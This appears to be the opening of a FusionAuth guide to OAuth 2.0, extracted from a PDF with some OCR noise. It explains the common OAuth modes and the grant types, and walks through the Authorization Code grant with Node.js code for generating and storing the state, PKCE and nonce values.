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Introduction

I know what you are thinking, is this really another guide to OAuth
2.0?

Well, yes and no. This guide is different than most of the others out
there because it covers all of the ways that we actually use OAuth.
It also covers all of the details you need to be an OAuth expert
without reading all the specifications or writing your own OAuth
server. This guide is based on hundreds of conversations and client
implementations as well as our experience building FusionAuth, an
OAuth server which has been downloaded over a million times.

If that sounds good to you, keep reading!

OAuth overview

OAuth 2.0 is a set of specifications that allow developers to easily
delegate the authentication and authorization of their users to
someone else. While the specifications don’t specifically cover
authentication, in practice this is a core piece of OAuth, so we will
cover it in depth (because that’s how we roll).

What does that mean, really? It means that your application sends
the user over to an OAuth server, the user logs in, and then the
user is sent back to your application. However, there are a couple
of different twists and goals of this process. Let’s cover those next.



OAuth modes

None of the specifications cover how OAuth is actually integrated
into applications. Whoops! But as a developer, that’s what you
care about. They also don’t cover the different workflows or
processes that leverage OAuth. They leave almost everything up
to the implementer (the person who writes the OAuth Server) and
integrator (the person who integrates their application with that
OAuth server).

Rather than just reword the information in the specifications (yet
again), let’s create a vocabulary for real-world integrations and
implementations of OAuth. We’ll call them OAuth modes.

There are eight OAuth modes in common use today. These real
world OAuth modes are:

Local login and registration

Third-party login and registration (federated identity)
First-party login and registration (reverse federated identity)
Enterprise login and registration (federated identity with a
twist)

Third-party service authorization

L

First-party service authorization
Machine-to-machine authentication and authorization

G N w

Device login and registration

I've included notation on a few of the items above specifying which
are federated identity workflows. The reason that I've changed
the names here from just “federated identity” is that each case
is slightly different. Plus, the term federated identity is often
overloaded and misunderstood. To help clarify terms, I'm using
“login” instead. However, this is generally the same as “federated
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identity” in that the user’s identity is stored in an OAuth server
and the authentication/authorization is delegated to that server.

Let’s discuss each mode in a bit more detail, but first, a cheat sheet.

Which OAuth mode is right for you?

Wow, that’s a lot of different ways you can use OAuth. That’s the
power and the danger of OAuth, to be honest with you. It is so
flexible that people new to it can be overwhelmed. So, here’s a
handy set of questions for you to ask yourself.

« Are you looking to outsource your authentication and autho-
rization to a safe, secure and standards-friendly auth system?
You’ll want Local login and registration in that case.

« Trying to avoid storing any credentials because you don’t
want responsibility for passwords? Third-party login and
registration is where it’s at.

+ Are you selling to Enterprise customers? Folks who hear
terms like SAML and SOC2 and are comforted, rather than
disturbed? Scoot on over to Enterprise login and registration.

+ Are you building service to service communication with no
user involved? If so, you are looking for Machine-to-machine
authorization.

« Are you trying to let a user log in from a separate device?
That is, from a TV or similar device without a friendly typing
interface? If this is so, check out Device login and registration.

« Are you building a platform and want to allow other devel-
opers to ask for permissions to make calls to APIs or services
on your platform? Put on your hoodie and review First-party
login and registration and First-party service authorization.

« Do you have a user store already integrated and only need to
access a third party service on your users’ behalf? Read up on
Third-party service authorization.
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With that overview done, let’s examine each of these modes in more
detail.

Local login and registration

The Local login and registration mode is when you are using an
OAuth workflow to register or log users into your application. In
this mode, you own both the OAuth server and the application.
You might not have written the OAuth server (if you are using a
product such as FusionAuth), but you control it. In fact, this mode
usually feels like the user is signing up or logging directly into your
application via native forms and there is no delegation at all.

What do we mean by native forms? Most developers have at one
time written their own login and registration forms directly into an
application. They create a table called users and it stores usernames
and passwords. Then they write the registration and the login
forms (HTML or some other UI). The registration form collects the
username and password and checks if the user exists in the database.
If they don’t, the application inserts the new user into the database.
The login form collects the username and password and checks if the
account exists in the database and logs the user in if it does. This
type of implementation is what we call native forms.

The only difference between native forms and the Local login
and registration OAuth mode is that with the latter you delegate
the login and registration process to an OAuth server rather than
writing everything by hand. Additionally, since you control the
OAuth server and your application, it would be odd to ask the
user to “authorize” your application. Therefore, this mode does
not include the permission grant screens that often are mentioned
in OAuth tutorials. Never fear; we’ll cover these in the next few
sections.

So, how does this work in practice? Let’s take a look at the steps
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for a fictitious web application called “The World’s Greatest ToDo
List” or “TWGTL” (pronounced Twig-Til):

1.

A user visits TWGTL and wants to sign up and manage their
ToDos.

2. They click the “Sign Up” button on the homepage.
3. This button takes them over to the OAuth server. In fact, it

takes them directly to the registration form that is included
as part of the OAuth workflow (specifically the Authorization
Code grant which is covered later in this guide).

4. They fill out the registration form and click “Submit”.

The OAuth server ensures this is a new user and creates their
account.

The OAuth server redirects the browser back to TWGTL,
which logs the user in.

7. The user uses TWGTL and adds their current ToDos. Yay!
8. The user stops using TWGTL; they head off and do some

10.
11.
12.
13.

14.

ToDos.

Later, the user comes back to TWGTL and needs to sign in to
check off some ToDos. They click the My Account link at the
top of the page.

This takes the user to the OAuth server’s login page.

The user types in their username and password.

The OAuth server confirms their identity.

The OAuth server redirects the browser back to TWGTL,
which logs the user in.

The user interacts with the TWGTL application, merrily
checking off ToDos.

That’s it. The user feels like they are registering and logging into
TWGTL directly, but in fact, TWGTL is delegating this functional-
ity to the OAuth server. The user is none-the-wiser so this is why
we call this mode Local login and registration.
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I bet your login screen will be much prettier.

An aside about this mode and mobile
applications

The details of this mode has implications for the security best
practices recommended by some of the standards bodies. In partic-
ular, the OAuth 2.0 for Native Apps' Best Current Practices (BCP)
recommends against using a webview:

This best current practice requires that native apps
MUST NOT use embedded user-agents to perform au-
thorization requests...

This is because the “embedded user-agents”, also known as web-
views, are under control of the mobile application developer in a
way that the system browser is not.

If you are operating in a mode where the OAuth server is under a
different party’s control, such as the third-party login that we’ll
cover next, this prohibition makes sense. But in this mode, you
control everything. In that case, the chances of a malicious webview
being able to do extra damage is minimal, and must be weighed

"https://tools.ietf.org/html/rfc8252
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against the user interface issues associated with popping out to a
system browser for authentication.

Third-party login and registration

The Third-party login and registration mode is typically im-
plemented with the classic “Login with ..” buttons you see in
many applications. These buttons let users sign up or log in to
your application by logging into one of their other accounts (i.e.
Facebook or Google). Here, your application sends the user over to
Facebook or Google to log in.

Let’s use Facebook as an example OAuth provider. In most cases,
your application will need to use one or more APIs from the OAuth
provider in order to retrieve information about the user or do
things on behalf of the user (for example sending a message on
behalf of the user). In order to use those APIs, the user has to
grant your application permissions. To accomplish this, the third-
party service usually shows the user a screen that asks for certain
permissions. We'll refer to these screens as the “permission grant
screen” throughout the rest of the guide.

For example, Facebook will present a screen asking the user to share
their email address with your application. Once the user grants
these permissions, your application can call the Facebook APIs
using an access token (which we will cover later in this guide).

Here’s an example of the Facebook permission grant screen, where
Zapier would like to access a user’s email address:
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eoe & facebook.com

RS

Zapier will receive:
your email address.

[# Edit This

This doesn't let the app post to Facebook

Not Now

ing access to the information you share and

Zapier's Privacy Policy and Terms

The Facebook permissions grant screen for Zapier.

After the user has logged into the third-party OAuth server and
granted your application permissions, they are redirected back to
your application and logged into it.

This mode is different from the previous mode because the user
logged in but also granted your application permissions to the ser-
vice (Facebook). This is one reason so many applications leverage
“Login with Facebook” or other social integrations. It not only logs
the user in, but also gives them access to call the Facebook APIs on
the user’s behalf.

Social logins are the most common examples of this mode, but
there are plenty of other third-party OAuth servers beyond social
networks (GitHub or Discord for example).

This mode is a good example of federated identity. Here, the
user’s identity (username and password) is stored in the third-party
system. They are using that system to register or log in to your
application.

So, how does this work in practice? Let’s take a look at the steps for
our TWGTL application if we want to use Facebook to register and
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log users in:

1.

A user visits TWGTL and wants to sign up and manage their
ToDos.

2. They click the “Sign Up” button on the homepage.

3. Onthe login and registration screen, the user clicks the “Login

with Facebook” button.

4. This button takes them over to Facebook’s OAuth server.
5. They log in to Facebook (if they aren’t already logged in).
6. Facebook presents the user with the permission grant screen

based on the permissions TWGTL needs. This is done using
OAuth scopes, which we will cover later in this guide.
Facebook redirects the browser back to TWGTL, which logs
the user in. TWGTL also calls Facebook APIs to retrieve the
user’s information.

The user begins using TWGTL and adds their current ToDos.

9. The user stops using TWGTL; they head off and do some

10.

11.

12.

ToDos.

Later, the user comes back to TWGTL and needs to log in to
check off some of their ToDos. They click the My Account link
at the top of the page.

This takes the user to the TWGTL login screen that contains
the “Login with Facebook” button.

Clicking this takes the user back to Facebook and they repeat
the same process as above.

You might be wondering if the Third-party login and registration
mode can work with the Local login and registration mode. Abso-
lutely! This is what I like to call Nested federated identity (it’s like
a hot pocket in a hot pocket?). Basically, your application delegates
its registration and login forms to an OAuth server like FusionAuth.
Your application also allows users to sign in with Facebook by
enabling that feature of the OAuth server (FusionAuth calls this

*https://www.youtube.com/watch?v=N-i9GXbptog
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the Facebook Identity Provider). It’s a little more complex, but
the flow looks something like this:

1. A user visits TWGTL and wants to sign up and manage their
ToDos.

2. They click the “Sign Up” button on the homepage.

. This button takes them over to the OAuth server’s login page.

On this page, there is a button to “Login with Facebook” and

the user clicks that.

This button takes them over to Facebook’s OAuth server.

They log in to Facebook.

W

Facebook presents the user with the permission grant screen.

The user authorizes the requested permissions.

Facebook redirects the browser back to TWGTL’s OAuth

server, which reconciles out the user’s account.

10. TWGTL’s OAuth server redirects the user back to the TWGTL
application.

11. The user is logged into TWGTL.

A e A

What does “reconcile out” mean? OAuth has its jargon,
oh yes. To reconcile a user with a remote system means
optionally creating a local account and then attach-
ing data and identity from a remote data source like
Facebooik to that account. The remote account is the
authority and the local account is modified as needed
to reflect remote data.

The nice part about this workflow is that TWGTL doesn’t have to
worry about integrating with Facebook (or any other provider) or
reconciling the user’s account. That’s handled by the OAuth server.
It’s also possible to delegate to additional OAuth servers, easily
adding “Login with Google” or “Login with Apple”. You can also
nest deeper than the 2 levels illustrated here.
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First-party login and registration

The First-party login and registration mode is the inverse of the
Third-party login and registration mode. Basically, if you happen
to be Facebook (hi Zuck!) in the examples above and your customer
is TWGTL, you are providing the OAuth server to TWGTL. You are
also providing a way for them to call your APIs on behalf of your
users.

This type of setup is not just reserved for the massive social net-
works run by Silicon Valley moguls; more and more companies are
offering this to their customers and partners, therefore becoming
platforms.

In many cases, companies are also leveraging easily integratable
auth systems like FusionAuth to provide this feature.

Enterprise login and registration

The Enterprise login and registration mode is when your appli-
cation allows users to sign up or log in with an enterprise identity
provider such as a corporate Active Directory. This mode is very
similar to the Third-party login and registration mode, but with
a few salient differences.

First, it rarely requires the user to grant permissions to your appli-
cation using a permission grant screen. Typically, a user does not
have the option to grant or restrict permissions for your application.
These permissions are usually managed by IT in an enterprise
directory or in your application.

Second, this mode does not apply to all users of an application.
In most cases, this mode is only available to the subset of users
who exist in the enterprise directory. The rest of your users will
either log in directly to your application using Local login and
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registration or through the Third-party login and registration
mode. In some cases, the user’s email address determines the
authentication source.

You might have noticed some login forms only ask for your email
on the first step like this:

eoe M < 0 @ zapier.com e o +
)
zapier m
Log In to Your Account
Aa
@ Continue with Google

Ready to

8  scaleyour
business?

(4] Easily collaborate with your team
with shared Zaps and app
connections, a centralized login,
and more

Try Our New Company Plan

Don't have a Zapier account yet? Sign U

For Zapier, the user’s email address is requested before any password.

Knowing a user’s email domain allows the OAuth server to de-
termine where to send the user to log in or if they should log
in locally. If you work at Example Company, proud purveyors of
TWGTL, providing brian@example.com to the login screen allows
the OAuth server to know you are an employee and should be
authenticated against a corporate authentication source. If instead
you enter dan@gmail.com, you won’t be authenticated against that
directory.

Outside of these differences, this mode behaves much the same as
the Third-party login and registration mode.

This is the final mode where users can register and log in to your
application. The remaining modes are used entirely for authoriza-
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tion, usually to application programming interfaces (APIs). We’ll
cover these modes next.

Third-party service authorization

The third-party service authorization mode is quite different from
the Third-party login and registration mode; don’t be deceived
by the similar names. Here, the user is already logged into your
application. The login could have been through a native form (as
discussed above) or using the Local login and registration mode,
the Third-party login and registration mode, or the Enterprise
login and registration mode. Since the user is already logged in,
all they are doing is granting access for your application to call
third-party’s APIs on their behalf.

For example, let’s say a user has an account with TWGTL, but
each time they complete a ToDo, they want to let their WUPHF?
followers know. (WUPHF is an up and coming social network;
sign up at getwuphf.com.) To accomplish this, TWGTL provides
an integration that will automatically send a WUPHF when the
user completes a ToDo. The integration uses the WUPHF APIs and
calling those requires an access token. In order to get an access
token, the TWGTL application needs to log the user into WUPHF
via OAuth.

To hook all of this up, TWGTL needs to add a button to the user’s
profile page that says “Connect your WUPHF account”. Notice it
doesn’t say “Login with WUPHF” since the user is already logged
in; the user’s identity for TWGTL is not delegated to WUPHF. Once
the user clicks this button, they will be taken to WUPHF’s OAuth
server to log in and grant the necessary permissions for TWGTL to
WUPHF for them.

Since WUPHF doesn’t actually exist, here’s an example screenshot

*https://www.youtube.com/watch?v=yL1z1ZHD0K4
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from Buffer, a service which posts to your social media accounts
such as Twitter.

eoe M < 0 & buffer.com ¢ a +
£ ProPlan - Buffer Dashboard Help My Account

Channels >
& overview

Connect a New Channel
233 Channels
8 more channels

Q) Users

@ Facebook Page >
My Organization
@ Facebook Group >
Instagram Business > Pro Plan
13 days left in trial
© Twiteer >
@ Linkedin Page > Current Usage
@ Unkedin profile N 0/8 Channels

Premium channels Upgrade to connect
Upgrade Now

It's no longer possible to connect Instagram Personal Profiles. Learn more here.

Buffer would like to connect to your accounts. Pretty please?

When you connect a Twitter account to Buffer, you’ll see a screen
like this:



OAuth modes 15

eoe M < ()] @ apitwitter.com (J h o+

Authorize Buffer to access your

<
?
account? z

Buffer

Cancel

This application will be able to: Torms and Conditions.

« See Tweets from your timeline (including protected
Tweets) as well as your Lists and collections.

« See your Twitter profile information and account
settings.

« See accounts you follow, mute, and block

« Follow and unfollow accounts for you.

« Update your profile and account settings.

« Post and delete Tweets for you, and engage with Tweets
posted by others (Like, un-Like, or reply to a Tweet,
Retweet, etc) for you.

« Create, manage, and delete Lists and collections for
you.

« Mute, block, and report accounts for you.

Lear

re about thirc-party app p

in the Help Centr.

Priacy Poicy

Buffer would like to connect to your Twitter account. Tweeting is so hot right
now.

The workflow for this mode looks like this:

1. A user visits TWGTL and logs into their account.

2. They click the “My Profile” link.

3. On their account page, they click the “Connect your WUPHF
account” button.

4. This button takes them over to WUPHF’s OAuth server.

5. They log in to WUPHF.

6. WUPHEF presents the user with the “permission grant screen”
and asks if TWGTL can WUPHF on their behalf.
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7. The user grants TWGTL this permission.

8. WUPHEF redirects the browser back to TWGTL where it calls
WUPHEF’s OAuth server to get an access token.

9. TWGTL stores the access token in its database and can now
call WUPHF APIs on behalf of the user. Success!

First-party service authorization

The First-party service authorization mode is the inverse of the
Third-party service authorization mode. When another applica-
tion wishes to call your APIs on behalf of one of your users, you
are in this mode. Here, your application is the “third-party service”
discussed above. Your application asks the user if they want to
grant the other application specific permissions. Basically, if you
are building the next Facebook and want developers to be able to
call your APIs on behalf of their users, you’ll need to support this
OAuth mode.

With this mode, your OAuth server might display a “permission
grant screen” to the user asking if they want to grant the third-party
application permissions to your APIs. This isn’t strictly necessary
and depends on your requirements.

Machine-to-machine authorization

The Machine-to-machine authorization OAuth mode is different
from the previous modes we’ve covered. This mode does not
involve users at all. Rather, it allows an application to interact with
another application. Normally, this is backend services communi-
cating with each other via APIs.

Here, one backend needs to be granted access to the other. We’ll call
the first backend the source and the second backend the target. To
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accomplish this, the source authenticates with the OAuth server.
The OAuth server confirms the identity of the source and then
returns a token that the source will use to call the target. This token
can also include permissions that are used by the target to authorize
the call the source is making.

Using our TWGTL example, let’s say that TWGTL has two mi-
croservices: one to manage ToDos and another to send WUPHFs.
Overengineering is fun! The ToDo microservice needs to call the
WUPHF microservice. The WUPHF microservice needs to ensure
that any caller is allowed to use its APIs before it WUPHFs.

Requests access token (1)

ToDo
Microservice

Sends token (2)

Validates TWGTL

Presents token (3) token (4)
oken

Posts WUPHF (5)

The WUPHF microservice needs to ensure the TWGTL microservice is autho-
rized.

The workflow for this mode looks like this:

1. The ToDo microservice authenticates with the OAuth server.

2. The OAuth server returns a token to the ToDo microservice.

3. The ToDo microservice calls an API in the WUPHF microser-
vice and includes the token in the request.
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4. The WUPHF microservice verifies the token by calling the
OAuth server (or verifying the token itself if the token is a
JWT).

5. If the token is valid, the WUPHF microservice performs the
operation.

Device login and registration

The Device login and registration mode is used to log in to (or
register) a user’s account on a device that doesn’t have a rich input
device like a keyboard. In this case, a user connects the device
to their account, usually to ensure their account is active and the
device is allowed to use it.

A good example of this mode is setting up a streaming app on an
Apple TV, smart TV, or other device such as a Roku. In order to
ensure you have a subscription to the streaming service, the app
needs to verify the user’s identity and connect to their account. The
app on the Apple TV device displays a code and a URL and asks the
user to visit the URL. The workflow for this mode is as follows:

1. The user opens the app on the Apple TV.

2. The app displays a code and a URL.

The user types in the URL displayed by the Apple TV on their
phone or computer.

The user is taken to the OAuth server and asked for the code.
The user submits this form and is taken to the login page.
The user logs into the OAuth server.

The user is taken to a “Finished” screen.

©w

S A

A few seconds later, the device is connected to the user’s
account.

This mode often takes a bit of time to complete because the app on
the Apple TV is polling the OAuth server.
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Now that we have covered the real world OAuth modes, let’s dig
into how these are actually implemented using the OAuth grants.
The main OAuth grants are:

« Authorization Code grant

« Implicit grant

+ Resource Owner’s Password Credentials grant
« Client Credentials grant

« Device grant

We’ll cover each grant type below and discuss how it is used, or not,
for each of the OAuth modes above.



Authorization Code grant

This is the most common OAuth grant and also the most secure.
It relies on a user interacting with a browser (Chrome, Firefox,
Safari, etc.) in order to handle OAuth modes 1 through 6 above. This
grant requires the interaction of a user, so it isn’t usable for the
Machine-to-machine authorization mode. All of the interactive
modes we covered above involve the same parties and Ul, except
when a “permission grant screen” is displayed.

A few terms we need to define before we dive into this grant.

+ Authorize endpoint: This is the location that starts the
workflow and is a URL that the browser is taken to. Normally,
users register or log in at this location.

+ Authorization code: This is a random string of printable
ASCII characters that the OAuth server includes in the redi-
rect after the user has registered or logged in. This is ex-
changed for tokens by the application backend.

+ Token endpoint: This is an API that is used to get tokens from
the OAuth server after the user has logged in. The application
backend uses the Authorization code when it calls the Token
endpoint.

In this section we will also cover PKCE (Proof Key for Code
Exchange - pronounced Pixy). PKCE is a security layer that sits on
top of the Authorization Code grant to ensure that authorization
codes can’t be stolen or reused. The application generates a secret
key (called the code verifier) and hashes it using SHA-256. This hash
is one-way, so it can’t be reversed by an attacker. The application
then sends the hash to the OAuth server, which stores it. Later,
when the application is getting tokens from the OAuth server, the
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application will send the server the secret key and the OAuth
server will verify that the hash of the provided secret key matches
the previously provided value. This is a good protection against
attackers that can intercept the authorization code, but don’t have
the secret key.

NOTE: PKCE is not required for standard web browser uses of
OAuth with the Authorization Code grant when the application
backend is passing both the client_id and client_secret to the
Token endpoint. We will cover this in more detail below, but
depending on your implementation, you might be able to safely
skip implementing PKCE. I recommend always using it but it isn’t
always required.

Let’s take a look at how you implement this grant using a prebuilt
OAuth server like FusionAuth.

Login/register buttons

First, we need to add a “Login” or “My Account” link or button
to our application; or if you are using one of the federated autho-
rization modes from above (for example the Third-party service
authorization mode), you’ll add a “Connect to XYZ” link or button.
There are two ways to connect this link or button to the OAuth
server:

1. Set the href of the link to the full URL that starts the OAuth
Authorization Code grant.

2. Set the href to point to application backend code that does a
redirect.

Option #1 is an older integration that is often not used in practice.
There are a couple of reasons for this. First, the URL is long and
not all that nice looking. Second, if you are going to use any
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enhanced security measures like PKCE, you’ll need to write code
that generates extra pieces of data for the redirect. We’ll cover
PKCE and OpenID Connect’s nonce parameter as we set up our
application integration below.

Before we dig into option #2, though, let’s quickly take a look at
how option #1 works. Old school, we know.

First, you’ll need to determine the URL that starts the Authorization
Code grant with your OAuth server as well as include all of
the necessary parameters required by the specification. We’ll use
FusionAuth as an example, since it has a consistent URL pattern.

Let’s say you are running FusionAuth and it is deployed to
https://login.twgtl.com. The URL for the OAuth authorize
endpoint will also be located at:

https://login.twgtl.com/oauth2/authorize

Next, you would insert this URL with a bunch of parameters (the
meaning of which we will cover below) into an anchor tag like this:

<a href="https://login.twgtl.com/oauth2/authorize?[a bunc\

h of parameters here]">Login</a>

This anchor tag would take the user directly to the OAuth server to
start the Authorization Code grant.

But, as we discussed above, this method is not generally used. Let’s
take a look at how Option #2 is implemented instead. Don’t worry,
you’ll still get to learn about all those parameters.

Rather than point the anchor tag directly at the OAuth server, we’ll
point it at the TWGTL backend; let’s use the path /1ogin. To make
everything work, we need to write code that will handle the request
for /1ogin and redirect the browser to the OAuth server. Here’s our
updated anchor tag that points at the backend controller:
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<a href="https://app.twgtl.com/login">Login</a>

Next, we need to write the controller for /1ogin in the application.
Here’s a JavaScript snippet using Node]S/Express that accomplishes
this:

router.get('/login', function(req, res, next) {
res.redirect(302, 'https://login.twgtl.com/oauth2/autho\
rize?[a bunch of parameters here]');

1)

Since this is the first code we've seen, it’s worth mentioning you
can view working code in this guide in the accompanying GitHub
repository*.

Authorize endpoint parameters

This code immediately redirects the browser to the OAuth server.
However, if you ran this code and clicked the link, the OAuth
server will reject the request because it doesn’t contain the required
parameters. The parameters defined in the OAuth specifications
are:

« client_id - this identifies the application you are logging into.
In OAuth, this is referred to as the client. This value will be
provided to you by the OAuth server.

o redirect_uri - this is the URL in your application to which
the OAuth server will redirect the user to after they log in.
This URL must be registered with the OAuth server and it
must point to a controller in your app (rather than a static
page), because your app must do additional work after this
URL is called.

“https://github.com/FusionAuth/fusionauth-example-modern- guide-to-oauth
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« state - technically this parameter is optional, but it is useful
for preventing various security issues. This parameter is
echoed back to your application by the OAuth server. It can
be anything you might need to be persisted across the OAuth
workflow. If you have no other need for this parameter, I
suggest setting it to a large random string. If you need to
have data persisted across the workflow, I suggest setting URL
encoding the data and appending a random string as well.

« response_type - this should always be set to code for this
grant. This tells the OAuth server you are using the Autho-
rization Code grant.

« scope - this is also an optional parameter, but in some of the
above modes, this will be required by the OAuth server. This
parameter is a space separated list of strings. You might also
need to include the offline scope in this list if you plan on
using refresh tokens in your application (we’ll refresh tokens
later).

+ code_challenge - this an optional parameter, but provides
support for PKCE. This is useful when there is not a backend
that can handle the final steps of the Authorization Code
grant. This is known as a “public client”. There aren’t many
cases of applications that don’t have backends, but if you
have something like a mobile application and you aren’t
able to leverage a server-side backend for OAuth, you must
implement PKCE to protect your application from security
issues. The security issues surrounding PKCE are out of the
scope of this guide, but you can find numerous articles online
about them. PKCE is also recommended by the OAuth 2.1
draft’.

« code_challenge_method - this is an optional parameter, but
if you implement PKCE, you must specify how your PKCE
code_challenge parameter was created. It can either be plain
or $256. We never recommend using anything except S256

1/

*https://fusionauth.io/learn/expert-advice/oauth/differences-between-oauth-2-oauth-2-
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which uses SHA-256 secure hashing for PKCE.

« nonce - this is an optional parameter and is used for OpenID
Connect. We don’t go into much detail of OpenID Connect
in this guide, but we will cover a few aspects including Id
tokens and the nonce parameter. The nonce parameter will
be included in the Id token that the OAuth server generates.
We can verify that when we retrieve the Id token. This is
discussed later.

Let’s update our code with all of these values. While we don’t
actually need to use PKCE for this guide, it doesn’t hurt anything
to add it.

const clientld = 'Ob893c2a-4689-41f8-91e0-aecadl306ecbt’ ;

const redirectURI = encodeURI('https://app.twgtl.com/oaut\
h-callback');

const scopes = encodeURIComponent('profile offline_access\
openid'); // give us the id_token and the refresh token, \
please

router.get('/login', (req, res, next) => {
const state = generateAndSaveState(req, res);
const codeChallenge = generateAndSaveCodeChallenge(req, \
res);
const nonce = generateAndSaveNonce(req, res);
res.redirect(302,
"https://login.twgtl.com/ocauth2/authorize?\

‘client_id=${clientId}&" +
‘redirect_uri=${redirectURI}&" +
“state=${state}&” +
“response_type=code&" +
“scope=${scopes}&" +
“code_challenge=${codeChallenge}&" +
“code_challenge_method=S256&" +
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“nonce=${nonce}");

1),

You’ll notice that we have specified the client_id, which was
likely provided to us by the OAuth server, the redirect_uri, which
is part of our application, and a scope with the values profile,
offline_access, and openid (space separated). These are all usually
hardcoded values since they rarely change. The other values change
each time we make a request and are generated in the controller.

The scope parameter is used by the OAuth server to determine
what authorization the application is requesting. There are a couple
of standard values that are defined as part of OpenID Connect.
These include profile, offline_access and openid. The OAuth
specification does not define any standard scopes, but most OAuth
servers support different values. Consult your OAuth server docu-
mentation to determine the scopes you’ll need to provide.

Here are definitions of the standard scopes in the OpenID Connect
specification:

« openid - tells the OAuth server to use OpenID Connect for
the handling of the OAuth workflow. This additionally will
tell the OAuth server to return an Id token from the Token
endpoint (covered below).

« offline_access - tells the OAuth server to generate and
return a refresh token from the Token endpoint (covered
below).

« profile - tells the OAuth server to include all of the standard
OpenID Connect claims in the returned tokens (access and/or
id tokens).

+ email - tells the OAuth server to include the user’s email in
the returned tokens (access and/or id tokens).

« address - tells the OAuth server to include the user’s address
in the returned tokens (access and/or id tokens).
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« phone - tells the OAuth server to include the user’s phone
number in the returned tokens (access and/or id tokens).

In order to properly implement the handling for the state, PKCE,
and nonce parameters, we need to save these values off somewhere.
They must be persisted across browser requests and redirects. There
are two options for this:

1. Store the values in a server-side session.
2. Store the values in secure, http-only cookies (preferably en-
crypted).

You might choose cookies if you are building a SPA and
want to avoid maintaining server side sessions.

Here is an excerpt of the above login route with functions that
generate these values.

Y/
router.get('/login', (req, res, next) => {

const state = generateAndSaveState(req, res);

const codeChallenge = generateAndSaveCodeChallenge(req, \
res);

const nonce = generateAndSaveNonce(req, res);

/)

Let’s cover both of these options. First, let’s write the code for each
of the generate* functions and store the values in a server-side
session:
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const crypto = require('crypto');
VI
// Helper method for Base 64 encoding that is URL safe
function base64URLEncode(str) {
return str.toString( 'base64')
.replace(/\+/g, '-")
.replace(/\//g, '_")
.replace(/=/g, '');

function sha256(buffer) {
return crypto.createHash('sha256')
.update(buffer)
.digest();

function generateAndSaveState(req) {
const state = base64URLEncode(crypto.randomBytes(64));
reqg.session.oauthState = state;

return state;

function generateAndSaveCodeChallenge(req) {

const codeVerifier = base64URLEncode(crypto.randomBytes\
(64));

req.session.oauthCode = codeVerifier;

return base64URLEncode(sha256(codeVerifier));

function generateAndSaveNonce(req) {
const nonce = base64URLEncode(crypto.randomBytes(64));
req.session.oauthNonce = nonce;
return nonce;

}

Y/
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This code is using the crypto library to generate random bytes
and converting those into URL safe strings. Each method is storing
the values created in the session. You’ll also notice that in the
generateAndSaveCodeChallenge we are also hashing the random
string using the sha256 function. This is how PKCE is implemented
when the code verifier is saved in the session and the hashed version
of it is sent as a parameter to the OAuth server.

Here’s the same code (minus the require and helper methods)
modified to store each of these values in secure, HTTP only cookies:

/).
function generateAndSaveState(req, res) {
const state = base64URLEncode(crypto.randomBytes(64));
res.cookie('oauth_state', state, {httpOnly: true, secur\
e: true});
return state;

function generateAndSaveCodeChallenge(req, res) ({

const codeVerifier = base64URLEncode(crypto.randomBytes\
(64));

res.cookie('oauth_code_verifier', codeVerifier, {httpOn\
ly: true, secure: true});

return base64URLEncode(sha256(codeVerifier));

function generateAndSaveNonce(req, res) ({
const nonce = base64URLEncode(crypto.randomBytes(64));
res.cookie( 'oauth_nonce', nonce, {httpOnly: true, secur\

e: true});
return nonce;

}

/S

You might be wondering if it is safe to be storing these values in
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cookies since cookies are sent back to the browser. We are setting
each of these cookies to be both httponly and secure. These flags
ensure that no malicious JavaScript code in the browser can read
their values. If you want to secure this even further, you can also
encrypt the values like this:

/S

const password = 'setec-astronomy'

const key = crypto.scryptSync(password, 'salt', 24);
const iv = crypto.randomBytes(16);

function encrypt(value) {
const cipher = crypto.createCipheriv('aes-192-cbc', key\
, iv);
let encrypted = cipher.update(value, 'utf8', 'hex');
encrypted += cipher.final('hex');
return encrypted + ':' + iv.toString('hex');

function generateAndSaveState(req, res) {
const state = base64URLEncode(crypto.randomBytes(64));
res.cookie( 'oauth_state', encrypt(state), {httpOnly: tr\
ue, secure: true});

return state;

function generateAndSaveCodeChallenge(req, res) {

const codeVerifier = base64URLEncode(crypto.randomBytes\
(64));

res.cookie('oauth_code_verifier', encrypt(codeVerifier)\
, {httpOnly: true, secure: true});

return base64URLEncode(sha256(codeVerifier));

function generateAndSaveNonce(req, res) {
const nonce = base64URLEncode(crypto.randomBytes(64));



31
32
33
34
35

Authorization Code grant 31

res.cookie('oauth_nonce', encrypt(nonce), {httpOnly: tr\
ue, secure: true});

return nonce;
}
/)

Encryption is generally not needed, especially for the state and
nonce parameters since those are sent as plaintext on the redirect
anyways, but if you need ultimate security and want to use cookies,
this is the best way to secure these values.

Logging in

At this point, the user will be taken to the OAuth server to log in
or register. Technically, the OAuth server can manage the login
and registration process however it needs. In some cases, a login
won’t be necessary because the user will already be authenticated
with the OAuth server or they can be authenticated by other means
(smart cards, hardware devices, etc).

The OAuth 2.0 specification doesn’t specify anything about this
process. Not a word!

In practice though, 99.999% of OAuth servers use a standard login
page that collects the user’s username and password. We’ll assume
that the OAuth server provides a standard login page and handles
the collection of the user’s credentials and verification of their
validity.

Redirect and retrieve the tokens

After the user has logged in, the OAuth server redirects the
browser back to the application. The exact location of the
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redirect is controlled by the redirect_uri parameter we
passed on the URL above. In our example, this location is
https://app.twgtl.com/oauth-callback. When the OAuth server
redirects the browser back to this location, it will add a few
parameters to the URL. These are:

« code - this is the authorization code that the OAuth server
created after the user was logged in. We’ll exchange this code
for tokens.

« state - this is the same value of the state parameter we
passed to the OAuth server. This is echoed back to the
application so that the application can verify that the code
came from the correct location.

OAuth servers can add additional parameters as needed, but these
are the only ones defined in the specifications. A full redirect URL
might look like this:

https://app.twgtl.com/oauth-callback?code=123456789%state\
=foobarbaz

Remember that the browser is going to make an HTTP GET request
to this URL. In order to securely complete the OAuth Authorization
Code grant, you should write server-side code to handle the param-
eters on this URL. Doing so will allow you to securely exchange the
authorization code parameter for tokens.

Let’s look at how a controller accomplishes this exchange.

First, we need to know the location of the OAuth server’s Token
endpoint. The OAuth server provides this endpoint which will
validate the authorization code and exchange it for tokens.
We are using FusionAuth as our example OAuth server and
it has a consistent location for the Token endpoint. (Other
OAuth servers may have a different or varying location; consult
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your documentation.) In our example, that location will be
https://login.twgtl.com/oauth2/token.

We will need to make an HTTP POST request to the Token endpoint
using form encoded values for a number of parameters. Here are
the parameters we need to send to the Token endpoint:

« code - this is the authorization code we are exchanging for
tokens.

+ client_id - this is client id that identifies our application.

« client_secret - this is a secret key that is provided by the
OAuth server. This should never be made public and should
only ever be stored in your application on the server.

+ code_verifier - this is the code verifier value we created
above and either stored in the session or in a cookie.

« grant_type - this will always be the value authorization_-
code to let the OAuth server know we are sending it an
authorization code.

